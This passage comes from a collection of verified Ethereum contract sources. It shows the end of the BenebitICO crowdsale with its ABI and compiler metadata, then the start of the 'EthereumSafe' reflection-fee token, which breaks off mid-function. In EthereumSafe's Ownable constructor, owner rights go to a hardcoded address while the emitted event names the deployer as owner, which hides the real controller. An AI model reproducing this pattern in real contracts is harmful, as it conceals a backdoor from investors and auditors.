// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= preStartTime && now <= ICOEndTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > ICOEndTime;
}
// @return true if burnToken function has ended
function burnToken() onlyOwner public returns (bool) {
require(hasEnded());
require(!checkBurnTokens);
token.burnTokens(remainingPublicSupply);
totalSupply = SafeMath.sub(totalSupply, remainingPublicSupply);
remainingPublicSupply = 0;
checkBurnTokens = true;
return true;
}
/**
* @return true if bountyFunds function has ended
* @param beneficiary address where owner wants to transfer tokens
* @param valueToken value of token
*/
function bountyFunds(address beneficiary, uint256 valueToken) onlyOwner public {
valueToken = SafeMath.mul(valueToken, 1 ether);
require(remainingBountySupply >= valueToken);
remainingBountySupply = SafeMath.sub(remainingBountySupply,valueToken);
token.mint(beneficiary, valueToken);
}
/**
* @return true if rewardsFunds function has ended
* @param beneficiary address where owner wants to transfer tokens
* @param valueToken value of token
*/
function rewardsFunds(address beneficiary, uint256 valueToken) onlyOwner public {
valueToken = SafeMath.mul(valueToken, 1 ether);
require(remainingRewardsSupply >= valueToken);
remainingRewardsSupply = SafeMath.sub(remainingRewardsSupply,valueToken);
token.mint(beneficiary, valueToken);
}
/**
@return true if grantAdvisorToken function has ended
*/
function grantAdvisorToken() onlyOwner public {
require(!grantAdvisorSupply);
require(now > advisorTimeLock);
uint256 valueToken = SafeMath.div(remainingAdvisorSupply,3);
require(remainingAdvisorSupply >= valueToken);
grantAdvisorSupply = true;
token.mint(0xAA855f6D87d5D443eDa49aA034fA99D9EeeA0337, valueToken);
token.mint(0x4B2e3E1BBEb117b781e71A10376A969860FBcEB3, valueToken);
token.mint(0xbb3b3799D1b31189b491C26B1D7c17307fb87F5d, valueToken);
remainingAdvisorSupply = 0;
}
/**
@return true if grantTeamToken function has ended
*/
function grantTeamToken() onlyOwner public {
require(!grantTeamSupply);
require(now > teamTimeLock);
uint256 valueToken = SafeMath.div(remainingTeamSupply, 5);
require(remainingTeamSupply >= valueToken);
grantTeamSupply = true;
token.mint(0xBEB9e4057f953AaBdF14Dc4018056888C67E40b0, valueToken);
token.mint(0x70fcd07629eB9b406223168AEB8De06E2564F558, valueToken);
token.mint(0x0e562f12239C660627bE186de6535c05983579E9, valueToken);
token.mint(0x42e045f4D119212AC1CF5820488E69AA9164DC70, valueToken);
token.mint(0x2f53678a33C0fEE8f30fc5cfaC4E5E140397b40D, valueToken);
remainingTeamSupply = 0;
}
/**
* Function transferToken works to transfer tokens to the specified address on the
call of owner within the crowdsale timestamp.
* @param beneficiary address where owner wants to transfer tokens
* @param tokens value of token
*/
function transferToken(address beneficiary, uint256 tokens) onlyOwner public {
require(ICOEndTime > now);
tokens = SafeMath.mul(tokens,1 ether);
require(remainingPublicSupply >= tokens);
remainingPublicSupply = SafeMath.sub(remainingPublicSupply,tokens);
token.mint(beneficiary, tokens);
}
function getTokenAddress() onlyOwner public returns (address) {
return token;
}
function getPublicSupply() onlyOwner public returns (uint256) {
return remainingPublicSupply;
}
}
/**
* @title CappedCrowdsale
* @dev Extension of Crowdsale with a max amount of funds raised
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap;
}
// overriding Crowdsale#validPurchase to add extra cap logic
// @return true if investors can buy at the moment
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is Crowdsale {
using SafeMath for uint256;
bool isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title RefundVault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Supports refunding the money if crowdsale fails,
* and forwarding it if crowdsale is successful.
*/
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
/**
* @title RefundableCrowdsale
* @dev Extension of Crowdsale contract that adds a funding goal, and
* the possibility of users getting a refund if goal is not met.
* Uses a RefundVault as the crowdsale's vault.
*/
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
// minimum amount of funds to be raised in weis
uint256 public goal;
bool private _goalReached = false;
// refund vault used to hold funds while crowdsale is running
RefundVault private vault;
function RefundableCrowdsale(uint256 _goal) {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
// We're overriding the fund forwarding from Crowdsale.
// In addition to sending the funds, we want to call
// the RefundVault deposit function
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
// if crowdsale is unsuccessful, investors can claim refunds here
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
// vault finalization task, called when owner calls finalize()
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public constant returns (bool) {
if (weiRaised >= goal) {
_goalReached = true;
return true;
} else if (_goalReached) {
return true;
}
else {
return false;
}
}
function updateGoalCheck() onlyOwner public {
_goalReached = true;
}
function getVaultAddress() onlyOwner public returns (address) {
return vault;
}
}
/**
* @title BenebitToken
* @author Hamza Yasin || Junaid Mushtaq
*/
contract BenebitToken is MintableToken {
string public constant name = "BenebitToken";
string public constant symbol = "BNE";
uint256 public constant decimals = 18;
uint256 public constant _totalSupply = 300000000 * 1 ether;
/** Constructor BenebitToken */
function BenebitToken() {
totalSupply = _totalSupply;
}
}
contract BenebitICO is Crowdsale, CappedCrowdsale, RefundableCrowdsale {
uint256 _startTime = 1516626000;
uint256 _endTime = 1525093200;
uint256 _rate = 3000;
uint256 _goal = 5000 * 1 ether;
uint256 _cap = 40000 * 1 ether;
address _wallet = 0x88BfBd2B464C15b245A9f7a563D207bd8A161054;
/** Constructor BenebitICO */
function BenebitICO()
CappedCrowdsale(_cap)
FinalizableCrowdsale()
RefundableCrowdsale(_goal)
Crowdsale(_startTime,_endTime,_rate,_wallet)
{
}
/** BenebitToken Contract is generating from here */
function createTokenContract() internal returns (MintableToken) {
return new BenebitToken();
}
} | [{"constant":false,"inputs":[{"name":"beneficiary","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getTokenAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"updateGoalCheck","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"grantAdvisorToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"rate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"cap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"goal","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finalize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"beneficiary","type":"address"},{"name":"valueToken","type":"uint256"}],"name":"bountyFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"preStartTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"getVaultAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getPublicSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"goalReached","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"beneficiary","type":"address"},{"name":"valueToken","type":"uint256"}],"name":"rewardsFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"preEndTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ICOEndTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"grantTeamToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"claimRefund","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"ICOstartTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"beneficiary","type":"address"}],"name":"buyTokens","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"hasEnded","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"burnToken","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[],"name":"Finalized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"purchaser","type":"address"},{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"TokenPurchase","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.4.17+commit.bdeb9e52 | true | 200 | Default | false | bzzr://a452bc3275e59c7b97d895276820c7ad2fc2d5d56505e45c9369dd705fac2b61 |
||||
EthereumSafe | EthereumSafe.sol | 0xcb13b43b489c0e9bd60d573f88f6b9b75adf0b65 | Solidity | /**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = 0xdD9cc73B914cCBa4003796cA257427702F1b69c0;// this address has owner privillages okay
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function sync() external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
}
contract RewardWallet {
constructor() public {
}
}
contract Balancer {
constructor() public {
}
}
contract EthereumSafe is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "EthereumPlus";
string private _symbol = "ePlus";
uint256 private _decimals = 18;
mapping(address => uint256) internal _reflectionBalance;
mapping(address => uint256) internal _tokenBalance;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 internal _tokenTotal = 1_000_000_000_000_000*(10**decimals());
uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal));
mapping(address => bool) isTaxless;
mapping(address => bool) internal _isExcluded;
address[] internal _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 public _feeDecimal = 2; // do not change this value...
uint256 public _taxFee = 200; // means 2% which distribute to all holders
uint256 public _liquidityFee = 400; // 4 means 4% add liquidity
uint256 public _burnFee = 0; // means 0 it menas burn 0%
uint256 public _ownerFee=400; //means 4% to owner wallet
address public ownerWallet=0x5230DC97449d03094A5BD457bFCC2870bc2f7D0a; //recieve eth this address recieve eth okay
uint256 public _taxFeeTotal;
uint256 public _burnFeeTotal;
uint256 public _liquidityFeeTotal;
bool public isFeeActive = true; // should be true
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public maxTxAmount = _tokenTotal; // no limit
uint256 public minTokensBeforeSwap = 100_000*(10**decimals());
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived, uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() public {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // for Ethereum uniswap v2
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
isTaxless[owner()] = true;
isTaxless[address(this)] = true;
// exlcude pair address from tax rewards
_isExcluded[address(uniswapV2Pair)] = true;
_excluded.push(address(uniswapV2Pair));
// BLACKLIST
_isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true;
_blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce));
_isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true;
_blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345));
_isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true;
_blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b));
_isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true;
_blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95));
_isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true;
_blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964));
_isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true;
_blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848));
_isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true;
_blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881));
_isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true;
_blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679));
_reflectionBalance[owner()] = _reflectionTotal;
emit Transfer(address(0),owner(), _tokenTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _tokenTotal;
}
function balanceOf(address account) public override view returns (uint256) {
if (_isExcluded[account]) return _tokenBalance[account];
return tokenFromReflection(_reflectionBalance[account]);
}
function transfer(address recipient, uint256 amount)
public
override
virtual
returns (bool)
{
_transfer(_msgSender(),recipient,amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override virtual returns (bool) {
_transfer(sender,recipient,amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tokenAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tokenAmount <= _tokenTotal, "Amount must be less than supply");
